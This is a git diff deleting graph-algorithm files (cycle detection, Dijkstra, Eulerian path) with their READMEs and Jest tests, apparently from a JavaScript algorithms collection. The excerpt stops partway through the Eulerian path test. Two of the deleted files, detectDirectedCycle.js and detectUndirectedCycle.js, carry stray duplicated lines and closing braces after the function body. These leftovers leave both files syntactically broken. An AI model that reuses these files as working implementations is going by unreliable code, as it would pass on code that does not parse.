-**walk with a repeated vertex** `B-D-E-F-D-C-B` (blue) and a **cycle with no repeated edge** or
-vertex `H-D-G-H` (red)
-
-### Cycle in undirected graph
-
-![Undirected Cycle](https://www.geeksforgeeks.org/wp-content/uploads/cycleGraph.png)
-
-### Cycle in directed graph
-
-![Directed Cycle](https://cdncontribute.geeksforgeeks.org/wp-content/uploads/cycle.png)
-
-## References
-
-General information:
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Cycle_(graph_theory)>)
-
-Cycles in undirected graphs:
-
--   [Detect Cycle in Undirected Graph on GeeksForGeeks](https://www.geeksforgeeks.org/detect-cycle-undirected-graph/)
--   [Detect Cycle in Undirected Graph Algorithm on YouTube](https://www.youtube.com/watch?v=n_t0a_8H8VY&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
-
-Cycles in directed graphs:
-
--   [Detect Cycle in Directed Graph on GeeksForGeeks](https://www.geeksforgeeks.org/detect-cycle-in-a-graph/)
--   [Detect Cycle in Directed Graph Algorithm on YouTube](https://www.youtube.com/watch?v=rKQaZuoUR4M&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectDirectedCycle.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectDirectedCycle.js
deleted file mode 100644
index 0eb2f79c3f..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectDirectedCycle.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * Detect cycle in directed graph using Depth First Search.
- *
- * @param {Graph} graph
- */
-export default function detectDirectedCycle(graph) {
-    let cycle = null;
-    // Will store parents (previous vertices) for all visited nodes.
-    // This will be needed in order to specify what path exactly is a cycle.
-    const dfsParentMap = {};
-    // White set (UNVISITED) contains all the vertices that haven't been visited at all.
-    const whiteSet = {};
-    // Gray set (VISITING) contains all the vertices that are being visited right now
-    // (in current path).
-    const graySet = {};
-    // Black set (VISITED) contains all the vertices that has been fully visited.
-    // Meaning that all children of the vertex has been visited.
-    const blackSet = {};
-    // If we encounter vertex in gray set it means that we've found a cycle.
-    // Because when vertex in gray set it means that its neighbors or its neighbors
-    // neighbors are still being explored.
-    // Init white set and add all vertices to it.
-    /** @param {GraphVertex} vertex */
-    graph.getAllVertices().forEach((vertex) => {
-        whiteSet[vertex.getKey()] = vertex;
-    });
-    // Describe BFS callbacks.
-    const callbacks = {
-        enterVertex: ({
-            currentVertex,
-            previousVertex
-        }) => {
-            if (graySet[currentVertex.getKey()]) {
-                // If current vertex already in grey set it means that cycle is detected.
-                // Let's detect cycle path.
-                cycle = {};
-                let currentCycleVertex = currentVertex;
-                let previousCycleVertex = previousVertex;
-                while (previousCycleVertex.getKey() !== currentVertex.getKey()) {
-                    cycle[currentCycleVertex.getKey()] = previousCycleVertex;
-                    currentCycleVertex = previousCycleVertex;
-                    previousCycleVertex = dfsParentMap[previousCycleVertex.getKey()];
-                }
-                cycle[currentCycleVertex.getKey()] = previousCycleVertex;
-            } else {
-                // Otherwise let's add current vertex to gray set and remove it from white set.
-                graySet[currentVertex.getKey()] = currentVertex;
-                delete whiteSet[currentVertex.getKey()];
-                // Update DFS parents list.
-                dfsParentMap[currentVertex.getKey()] = previousVertex;
-            }
-        },
-        leaveVertex: ({
-            currentVertex
-        }) => {
-            // If all node's children has been visited let's remove it from gray set
-            // and move it to the black set meaning that all its neighbors are visited.
-            blackSet[currentVertex.getKey()] = currentVertex;
-            delete graySet[currentVertex.getKey()];
-        },
-        allowTraversal: ({
-            nextVertex
-        }) => {
-            // If cycle was detected we must forbid all further traversing since it will
-            // cause infinite traversal loop.
-            if (cycle) {
-                return false;
-            }
-            // Allow traversal only for the vertices that are not in black set
-            // since all black set vertices have been already visited.
-            return !blackSet[nextVertex.getKey()];
-        }
-    };
-    // Start exploring vertices.
-    while (Object.keys(whiteSet).length) {
-        // Pick fist vertex to start BFS from.
-        const firstWhiteKey = Object.keys(whiteSet)[0];
-        const startVertex = whiteSet[firstWhiteKey];
-        // Do Depth First Search.
-        depthFirstSearch(graph, startVertex, callbacks);
-    }
-    return cycle;
-}
-// Do Depth First Search.
-depthFirstSearch(graph, startVertex, callbacks);
-}
-return cycle;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycle.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycle.js
deleted file mode 100644
index 88c63508aa..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycle.js
+++ /dev/null
@@ -1,58 +0,0 @@
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * Detect cycle in undirected graph using Depth First Search.
- *
- * @param {Graph} graph
- */
-export default function detectUndirectedCycle(graph) {
-    let cycle = null;
-    // List of vertices that we have visited.
-    const visitedVertices = {};
-    // List of parents vertices for every visited vertex.
-    const parents = {};
-    // Callbacks for DFS traversing.
-    const callbacks = {
-        allowTraversal: ({
-            currentVertex,
-            nextVertex
-        }) => {
-            // Don't allow further traversal in case if cycle has been detected.
-            if (cycle) {
-                return false;
-            }
-            // Don't allow traversal from child back to its parent.
-            const currentVertexParent = parents[currentVertex.getKey()];
-            const currentVertexParentKey = currentVertexParent ? currentVertexParent.getKey() : null;
-            return currentVertexParentKey !== nextVertex.getKey();
-        },
-        enterVertex: ({
-            currentVertex,
-            previousVertex
-        }) => {
-            if (visitedVertices[currentVertex.getKey()]) {
-                // Compile cycle path based on parents of previous vertices.
-                cycle = {};
-                let currentCycleVertex = currentVertex;
-                let previousCycleVertex = previousVertex;
-                while (previousCycleVertex.getKey() !== currentVertex.getKey()) {
-                    cycle[currentCycleVertex.getKey()] = previousCycleVertex;
-                    currentCycleVertex = previousCycleVertex;
-                    previousCycleVertex = parents[previousCycleVertex.getKey()];
-                }
-                cycle[currentCycleVertex.getKey()] = previousCycleVertex;
-            } else {
-                // Add next vertex to visited set.
-                visitedVertices[currentVertex.getKey()] = currentVertex;
-                parents[currentVertex.getKey()] = previousVertex;
-            }
-        }
-    };
-    // Start DFS traversing.
-    const startVertex = graph.getAllVertices()[0];
-    depthFirstSearch(graph, startVertex, callbacks);
-    return cycle;
-} // Start DFS traversing.
-const startVertex = graph.getAllVertices()[0];
-depthFirstSearch(graph, startVertex, callbacks);
-return cycle;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycleUsingDisjointSet.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycleUsingDisjointSet.js
deleted file mode 100644
index f8eca1736c..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/detectUndirectedCycleUsingDisjointSet.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import DisjointSet from '../../../data-structures/disjoint-set/DisjointSet';
-/**
- * Detect cycle in undirected graph using disjoint sets.
- *
- * @param {Graph} graph
- */
-export default function detectUndirectedCycleUsingDisjointSet(graph) {
-    // Create initial singleton disjoint sets for each graph vertex.
-    /** @param {GraphVertex} graphVertex */
-    const keyExtractor = (graphVertex) => graphVertex.getKey();
-    const disjointSet = new DisjointSet(keyExtractor);
-    graph.getAllVertices().forEach((graphVertex) => disjointSet.makeSet(graphVertex));
-    // Go trough all graph edges one by one and check if edge vertices are from the
-    // different sets. In this case joint those sets together. Do this until you find
-    // an edge where to edge vertices are already in one set. This means that current
-    // edge will create a cycle.
-    let cycleFound = false;
-    /** @param {GraphEdge} graphEdge */
-    graph.getAllEdges().forEach((graphEdge) => {
-        if (disjointSet.inSameSet(graphEdge.startVertex, graphEdge.endVertex)) {
-            // Cycle found.
-            cycleFound = true;
-        } else {
-            disjointSet.union(graphEdge.startVertex, graphEdge.endVertex);
-        }
-    });
-    return cycleFound;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectDirectedCycle.test.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectDirectedCycle.test.js
deleted file mode 100644
index 528858ee70..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectDirectedCycle.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import detectDirectedCycle from '../detectDirectedCycle';
-describe('detectDirectedCycle', () => {
-    it('should detect directed cycle', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeDA = new GraphEdge(vertexD, vertexA);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeFD = new GraphEdge(vertexF, vertexD);
-        const graph = new Graph(true);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC).addEdge(edgeDA).addEdge(edgeDE).addEdge(edgeEF);
-        expect(detectDirectedCycle(graph)).toBeNull();
-        graph.addEdge(edgeFD);
-        expect(detectDirectedCycle(graph)).toEqual({
-            D: vertexF,
-            F: vertexE,
-            E: vertexD
-        });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycle.test.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycle.test.js
deleted file mode 100644
index 06a36175d0..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycle.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import detectUndirectedCycle from '../detectUndirectedCycle';
-describe('detectUndirectedCycle', () => {
-    it('should detect undirected cycle', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const edgeAF = new GraphEdge(vertexA, vertexF);
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBE = new GraphEdge(vertexB, vertexE);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAF).addEdge(edgeAB).addEdge(edgeBE).addEdge(edgeBC).addEdge(edgeCD);
-        expect(detectUndirectedCycle(graph)).toBeNull();
-        graph.addEdge(edgeDE);
-        expect(detectUndirectedCycle(graph)).toEqual({
-            B: vertexC,
-            C: vertexD,
-            D: vertexE,
-            E: vertexB
-        });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycleUsingDisjointSet.test.js b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycleUsingDisjointSet.test.js
deleted file mode 100644
index 95fc3aa6b1..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/test/detectUndirectedCycleUsingDisjointSet.test.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import detectUndirectedCycleUsingDisjointSet from '../detectUndirectedCycleUsingDisjointSet';
-describe('detectUndirectedCycleUsingDisjointSet', () => {
-    it('should detect undirected cycle', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const edgeAF = new GraphEdge(vertexA, vertexF);
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBE = new GraphEdge(vertexB, vertexE);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAF).addEdge(edgeAB).addEdge(edgeBE).addEdge(edgeBC).addEdge(edgeCD);
-        expect(detectUndirectedCycleUsingDisjointSet(graph)).toBe(false);
-        graph.addEdge(edgeDE);
-        expect(detectUndirectedCycleUsingDisjointSet(graph)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/dijkstra/README.md b/docs/content/DS_ALGO/algorithms/graph/dijkstra/README.md
deleted file mode 100644
index 87b0cc144a..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/dijkstra/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# Dijkstra's Algorithm
-
-Dijkstra's algorithm is an algorithm for finding the shortest
-paths between nodes in a graph, which may represent, for example,
-road networks.
-
-The algorithm exists in many variants; Dijkstra's original variant
-found the shortest path between two nodes, but a more common
-variant fixes a single node as the "source" node and finds
-shortest paths from the source to all other nodes in the graph,
-producing a shortest-path tree.
-
-![Dijkstra](https://upload.wikimedia.org/wikipedia/commons/5/57/Dijkstra_Animation.gif)
-
-Dijkstra's algorithm to find the shortest path between `a` and `b`.
-It picks the unvisited vertex with the lowest distance,
-calculates the distance through it to each unvisited neighbor,
-and updates the neighbor's distance if smaller. Mark visited
-(set to red) when done with neighbors.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm)
--   [On YouTube by Nathaniel Fan](https://www.youtube.com/watch?v=gdmfOwyQlcI&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [On YouTube by Tushar Roy](https://www.youtube.com/watch?v=lAXZGERcDf4&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/dijkstra/dijkstra.js b/docs/content/DS_ALGO/algorithms/graph/dijkstra/dijkstra.js
deleted file mode 100644
index d4143ff84f..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/dijkstra/dijkstra.js
+++ /dev/null
@@ -1,66 +0,0 @@
-import PriorityQueue from '../../../data-structures/priority-queue/PriorityQueue';
-/**
- * @typedef {Object} ShortestPaths
- * @property {Object} distances - shortest distances to all vertices
- * @property {Object} previousVertices - shortest paths to all vertices.
- */
-/**
- * Implementation of Dijkstra algorithm of finding the shortest paths to graph nodes.
- * @param {Graph} graph - graph we're going to traverse.
- * @param {GraphVertex} startVertex - traversal start vertex.
- * @return {ShortestPaths}
- */
-export default function dijkstra(graph, startVertex) {
-    // Init helper variables that we will need for Dijkstra algorithm.
-    const distances = {};
-    const visitedVertices = {};
-    const previousVertices = {};
-    const queue = new PriorityQueue();
-    // Init all distances with infinity assuming that currently we can't reach
-    // any of the vertices except the start one.
-    graph.getAllVertices().forEach((vertex) => {
-        distances[vertex.getKey()] = Infinity;
-        previousVertices[vertex.getKey()] = null;
-    });
-    // We are already at the startVertex so the distance to it is zero.
-    distances[startVertex.getKey()] = 0;
-    // Init vertices queue.
-    queue.add(startVertex, distances[startVertex.getKey()]);
-    // Iterate over the priority queue of vertices until it is empty.
-    while (!queue.isEmpty()) {
-        // Fetch next closest vertex.
-        const currentVertex = queue.poll();
-        // Iterate over every unvisited neighbor of the current vertex.
-        currentVertex.getNeighbors().forEach((neighbor) => {
-            // Don't visit already visited vertices.
-            if (!visitedVertices[neighbor.getKey()]) {
-                // Update distances to every neighbor from current vertex.
-                const edge = graph.findEdge(currentVertex, neighbor);
-                const existingDistanceToNeighbor = distances[neighbor.getKey()];
-                const distanceToNeighborFromCurrent = distances[currentVertex.getKey()] + edge.weight;
-                // If we've found shorter path to the neighbor - update it.
-                if (distanceToNeighborFromCurrent < existingDistanceToNeighbor) {
-                    distances[neighbor.getKey()] = distanceToNeighborFromCurrent;
-                    // Change priority of the neighbor in a queue since it might have became closer.
-                    if (queue.hasValue(neighbor)) {
-                        queue.changePriority(neighbor, distances[neighbor.getKey()]);
-                    }
-                    // Remember previous closest vertex.
-                    previousVertices[neighbor.getKey()] = currentVertex;
-                }
-                // Add neighbor to the queue for further visiting.
-                if (!queue.hasValue(neighbor)) {
-                    queue.add(neighbor, distances[neighbor.getKey()]);
-                }
-            }
-        });
-        // Add current vertex to visited ones to avoid visiting it again later.
-        visitedVertices[currentVertex.getKey()] = currentVertex;
-    }
-    // Return the set of shortest distances to all vertices and the set of
-    // shortest paths to all vertices in a graph.
-    return {
-        distances,
-        previousVertices
-    };
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/dijkstra/test/dijkstra.test.js b/docs/content/DS_ALGO/algorithms/graph/dijkstra/test/dijkstra.test.js
deleted file mode 100644
index 9a6375a231..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/dijkstra/test/dijkstra.test.js
+++ /dev/null
@@ -1,105 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import dijkstra from '../dijkstra';
-describe('dijkstra', () => {
-    it('should find minimum paths to all vertices for undirected graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 4);
-        const edgeAE = new GraphEdge(vertexA, vertexE, 7);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 6);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 5);
-        const edgeEC = new GraphEdge(vertexE, vertexC, 8);
-        const edgeED = new GraphEdge(vertexE, vertexD, 2);
-        const edgeDC = new GraphEdge(vertexD, vertexC, 11);
-        const edgeDG = new GraphEdge(vertexD, vertexG, 10);
-        const edgeDF = new GraphEdge(vertexD, vertexF, 2);
-        const edgeFG = new GraphEdge(vertexF, vertexG, 3);
-        const edgeEG = new GraphEdge(vertexE, vertexG, 5);
-        const graph = new Graph();
-        graph
-            .addVertex(vertexH)
-            .addEdge(edgeAB)
-            .addEdge(edgeAE)
-            .addEdge(edgeAC)
-            .addEdge(edgeBC)
-            .addEdge(edgeBD)
-            .addEdge(edgeEC)
-            .addEdge(edgeED)
-            .addEdge(edgeDC)
-            .addEdge(edgeDG)
-            .addEdge(edgeDF)
-            .addEdge(edgeFG)
-            .addEdge(edgeEG);
-        const { distances, previousVertices } = dijkstra(graph, vertexA);
-        expect(distances).toEqual({
-            H: Infinity,
-            A: 0,
-            B: 4,
-            E: 7,
-            C: 3,
-            D: 9,
-            G: 12,
-            F: 11
-        });
-        expect(previousVertices.F.getKey()).toBe('D');
-        expect(previousVertices.D.getKey()).toBe('B');
-        expect(previousVertices.B.getKey()).toBe('A');
-        expect(previousVertices.G.getKey()).toBe('E');
-        expect(previousVertices.C.getKey()).toBe('A');
-        expect(previousVertices.A).toBeNull();
-        expect(previousVertices.H).toBeNull();
-    });
-    it('should find minimum paths to all vertices for directed graph with negative edge weights', () => {
-        const vertexS = new GraphVertex('S');
-        const vertexE = new GraphVertex('E');
-        const vertexA = new GraphVertex('A');
-        const vertexD = new GraphVertex('D');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexH = new GraphVertex('H');
-        const edgeSE = new GraphEdge(vertexS, vertexE, 8);
-        const edgeSA = new GraphEdge(vertexS, vertexA, 10);
-        const edgeED = new GraphEdge(vertexE, vertexD, 1);
-        const edgeDA = new GraphEdge(vertexD, vertexA, -4);
-        const edgeDC = new GraphEdge(vertexD, vertexC, -1);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 2);
-        const edgeCB = new GraphEdge(vertexC, vertexB, -2);
-        const edgeBA = new GraphEdge(vertexB, vertexA, 1);
-        const graph = new Graph(true);
-        graph
-            .addVertex(vertexH)
-            .addEdge(edgeSE)
-            .addEdge(edgeSA)
-            .addEdge(edgeED)
-            .addEdge(edgeDA)
-            .addEdge(edgeDC)
-            .addEdge(edgeAC)
-            .addEdge(edgeCB)
-            .addEdge(edgeBA);
-        const { distances, previousVertices } = dijkstra(graph, vertexS);
-        expect(distances).toEqual({
-            H: Infinity,
-            S: 0,
-            A: 5,
-            B: 5,
-            C: 7,
-            D: 9,
-            E: 8
-        });
-        expect(previousVertices.H).toBeNull();
-        expect(previousVertices.S).toBeNull();
-        expect(previousVertices.B.getKey()).toBe('C');
-        expect(previousVertices.C.getKey()).toBe('A');
-        expect(previousVertices.A.getKey()).toBe('D');
-        expect(previousVertices.D.getKey()).toBe('E');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/README.md b/docs/content/DS_ALGO/algorithms/graph/eulerian-path/README.md
deleted file mode 100644
index 70e2100a39..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/README.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# Eulerian Path
-
-In graph theory, an **Eulerian trail** (or **Eulerian path**) is a
-trail in a finite graph which visits every edge exactly once.
-Similarly, an **Eulerian circuit** or **Eulerian cycle** is an
-Eulerian trail which starts and ends on the same vertex.
-
-Euler proved that a necessary condition for the existence of Eulerian
-circuits is that all vertices in the graph have an even degree, and
-stated that connected graphs with all vertices of even degree have
-an Eulerian circuit.
-
-![Eulerian Circuit](https://upload.wikimedia.org/wikipedia/commons/7/72/Labelled_Eulergraph.svg)
-
-Every vertex of this graph has an even degree. Therefore, this is
-an Eulerian graph. Following the edges in alphabetical order gives
-an Eulerian circuit/cycle.
-
-For the existence of Eulerian trails it is necessary that zero or
-two vertices have an odd degree; this means the Königsberg graph
-is not Eulerian. If there are no vertices of odd degree,
-all Eulerian trails are circuits. If there are exactly two vertices
-of odd degree, all Eulerian trails start at one of them and end at
-the other. A graph that has an Eulerian trail but not an Eulerian
-circuit is called semi-Eulerian.
-
-![Königsberg graph](https://upload.wikimedia.org/wikipedia/commons/9/96/K%C3%B6nigsberg_graph.svg)
-
-The Königsberg Bridges multigraph. This multigraph is not Eulerian,
-therefore, a solution does not exist.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Eulerian_path)
--   [YouTube](https://www.youtube.com/watch?v=vvP4Fg4r-Ns&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/eulerianPath.js b/docs/content/DS_ALGO/algorithms/graph/eulerian-path/eulerianPath.js
deleted file mode 100644
index eae35d6d66..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/eulerianPath.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import graphBridges from '../bridges/graphBridges';
-/**
- * Fleury's algorithm of finding Eulerian Path (visit all graph edges exactly once).
- *
- * @param {Graph} graph
- * @return {GraphVertex[]}
- */
-export default function eulerianPath(graph) {
-    const eulerianPathVertices = [];
-    // Set that contains all vertices with even rank (number of neighbors).
-    const evenRankVertices = {};
-    // Set that contains all vertices with odd rank (number of neighbors).
-    const oddRankVertices = {};
-    // Set of all not visited edges.
-    const notVisitedEdges = {};
-    graph.getAllEdges().forEach((vertex) => {
-        notVisitedEdges[vertex.getKey()] = vertex;
-    });
-    // Detect whether graph contains Eulerian Circuit or Eulerian Path or none of them.
-    /** @params {GraphVertex} vertex */
-    graph.getAllVertices().forEach((vertex) => {
-        if (vertex.getDegree() % 2) {
-            oddRankVertices[vertex.getKey()] = vertex;
-        } else {
-            evenRankVertices[vertex.getKey()] = vertex;
-        }
-    });
-    // Check whether we're dealing with Eulerian Circuit or Eulerian Path only.
-    // Graph would be an Eulerian Circuit in case if all its vertices has even degree.
-    // If not all vertices have even degree then graph must contain only two odd-degree
-    // vertices in order to have Euler Path.
-    const isCircuit = !Object.values(oddRankVertices).length;
-    if (!isCircuit && Object.values(oddRankVertices).length !== 2) {
-        throw new Error('Eulerian path must contain two odd-ranked vertices');
-    }
-    // Pick start vertex for traversal.
-    let startVertex = null;
-    if (isCircuit) {
-        // For Eulerian Circuit it doesn't matter from what vertex to start thus we'll just
-        // peek a first node.
-        const evenVertexKey = Object.keys(evenRankVertices)[0];
-        startVertex = evenRankVertices[evenVertexKey];
-    } else {
-        // For Eulerian Path we need to start from one of two odd-degree vertices.
-        const oddVertexKey = Object.keys(oddRankVertices)[0];
-        startVertex = oddRankVertices[oddVertexKey];
-    }
-    // Start traversing the graph.
-    let currentVertex = startVertex;
-    while (Object.values(notVisitedEdges).length) {
-        // Add current vertex to Eulerian path.
-        eulerianPathVertices.push(currentVertex);
-        // Detect all bridges in graph.
-        // We need to do it in order to not delete bridges if there are other edges
-        // exists for deletion.
-        const bridges = graphBridges(graph);
-        // Peek the next edge to delete from graph.
-        const currentEdges = currentVertex.getEdges();
-        /** @var {GraphEdge} edgeToDelete */
-        let edgeToDelete = null;
-        if (currentEdges.length === 1) {
-            // If there is only one edge left we need to peek it.
-            [edgeToDelete] = currentEdges;
-        } else {
-            // If there are many edges left then we need to peek any of those except bridges.
-            [edgeToDelete] = currentEdges.filter((edge) => !bridges[edge.getKey()]);
-        }
-        // Detect next current vertex.
-        if (currentVertex.getKey() === edgeToDelete.startVertex.getKey()) {
-            currentVertex = edgeToDelete.endVertex;
-        } else {
-            currentVertex = edgeToDelete.startVertex;
-        }
-        // Delete edge from not visited edges set.
-        delete notVisitedEdges[edgeToDelete.getKey()];
-        // If last edge were deleted then add finish vertex to Eulerian Path.
-        if (Object.values(notVisitedEdges).length === 0) {
-            eulerianPathVertices.push(currentVertex);
-        }
-        // Delete the edge from graph.
-        graph.deleteEdge(edgeToDelete);
-    }
-    return eulerianPathVertices;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/test/eulerianPath.test.js b/docs/content/DS_ALGO/algorithms/graph/eulerian-path/test/eulerianPath.test.js
deleted file mode 100644
index eb5ba9998e..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/eulerian-path/test/eulerianPath.test.js
+++ /dev/null
@@ -1,103 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import eulerianPath from '../eulerianPath';
-describe('eulerianPath', () => {
-    it('should throw an error when graph is not Eulerian', () => {
-        function findEulerianPathInNotEulerianGraph() {
-            const vertexA = new GraphVertex('A');
-            const vertexB = new GraphVertex('B');
-            const vertexC = new GraphVertex('C');
-            const vertexD = new GraphVertex('D');
-            const vertexE = new GraphVertex('E');
-            const edgeAB = new GraphEdge(vertexA, vertexB);
-            const edgeAC = new GraphEdge(vertexA, vertexC);
-            const edgeBC = new GraphEdge(vertexB, vertexC);
-            const edgeBD = new GraphEdge(vertexB, vertexD);
-            const edgeCE = new GraphEdge(vertexC, vertexE);
-            const graph = new Graph();
-            graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCE);
-            eulerianPath(graph);
-        }
-        expect(findEulerianPathInNotEulerianGraph).toThrowError();
-    });
-    it('should find Eulerian Circuit in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeAF = new GraphEdge(vertexA, vertexF);
-        const edgeAG = new GraphEdge(vertexA, vertexG);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeBE = new GraphEdge(vertexB, vertexE);
-        const edgeEB = new GraphEdge(vertexE, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeED = new GraphEdge(vertexE, vertexD);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph();
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeAE)
-            .addEdge(edgeAF)
-            .addEdge(edgeAG)
-            .addEdge(edgeGF)
-            .addEdge(edgeBE)
-            .addEdge(edgeEB)
-            .addEdge(edgeBC)
-            .addEdge(edgeED)
-            .addEdge(edgeCD);
-        const graphEdgesCount = graph.getAllEdges().length;
-        const eulerianPathSet = eulerianPath(graph);
-        expect(eulerianPathSet.length).toBe(graphEdgesCount + 1);
-        expect(eulerianPathSet[0].getKey()).toBe(vertexA.getKey());
-        expect(eulerianPathSet[1].getKey()).toBe(vertexB.getKey());
-        expect(eulerianPathSet[2].getKey()).toBe(vertexE.getKey());
-        expect(eulerianPathSet[3].getKey()).toBe(vertexB.getKey());
-        expect(eulerianPathSet[4].getKey()).toBe(vertexC.getKey());
-        expect(eulerianPathSet[5].getKey()).toBe(vertexD.getKey());
-        expect(eulerianPathSet[6].getKey()).toBe(vertexE.getKey());
-        expect(eulerianPathSet[7].getKey()).toBe(vertexA.getKey());
-        expect(eulerianPathSet[8].getKey()).toBe(vertexF.getKey());
-        expect(eulerianPathSet[9].getKey()).toBe(vertexG.getKey());
